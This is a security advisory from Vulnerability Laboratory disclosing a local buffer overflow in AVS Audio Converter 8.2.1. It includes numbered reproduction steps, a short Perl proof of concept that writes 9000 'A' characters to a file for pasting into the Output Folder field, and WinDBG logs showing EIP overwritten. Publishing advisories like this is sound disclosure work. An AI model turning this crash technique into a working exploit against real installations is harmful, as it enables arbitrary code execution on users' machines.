AVS Audio Converter 8.2.1 - Buffer Overflow Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
AVS Audio Editor is an audio file editor of its primary function is for editing audio files. It is able to
cut, join, combine or split audio files. All these operations are done with great precision to the hundredth
of a second. You can work with files in .wav formats, Mp3, Pcm, M4A, Flac and many others.
(Copy of the Vendor Homepage: http://www.avs4you.com/AVS-Audio-Converter.aspx )
Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the AVS Audio Converter 8.2.1 software.
Vulnerability Disclosure Timeline:
2016-08-22: Public Disclosure (Vulnerability Laboratory)
Product: AVS Audio Converter - Software 8.2.1
Technical Details & Description:
A buffer overflow vulnerability has been discovered in the official software AVS Audio Converter V8.2.1.
The vulnerability allows local attackers to overwrite registers to compromise the local software process.
Vulnerability classic buffer overflow is in the AVS Audio Converter. An attacker can manipulate the
bit EIP register to execute the next instruction of their choice. Attackers can eg
execute arbitrary code with the privileges of the process. The attacker has a large unicode string to crush
the EIP register process. Finally, the attacker is able to process the takeover by a crushing of the
active program process to compromise the computer system.
Proof of Concept (PoC):
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Download and install the AVS Audio Converter.exe
2. Run the code via perl script or perl
3. A file format (poc.txt) will be created
4. Open the generated file (poc.txt)
5. Start the AVS Audio Converter software
6. Attach a debugger like windbg, immunity or ollydbg
7. Load the path location by software interaction or copy paste the file characters AAAAAAAAA+... as input to the Output Folder
8. Click to Browse function for the path
9. Software will crash with unhandled exception and critical access violation
10. Watch the debugger logs were the eip is overwritten
11. Interact to manipulate the followup address
12. Successful reproduce of the local buffer overflow vulnerability!
PoC: Exploitation (Perl)
my $Buff = "x41" x 9000;
print MYFILE $Buff;
print "Local BOF PoC by ZwXn";
--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77db38a0 esi=00000000 edi=00000000
eip=41414141 esp=0014f578 ebp=0014f598 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
0:000> d 0014fab4
Note: The access violation with the exception and followup offsets shows that the ecx & eip was overwritten.
The security risk of the local buffer overflow vulnerability in the avs software is estimated as high. (CVSS 6.3)
Credits & Authors:
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]
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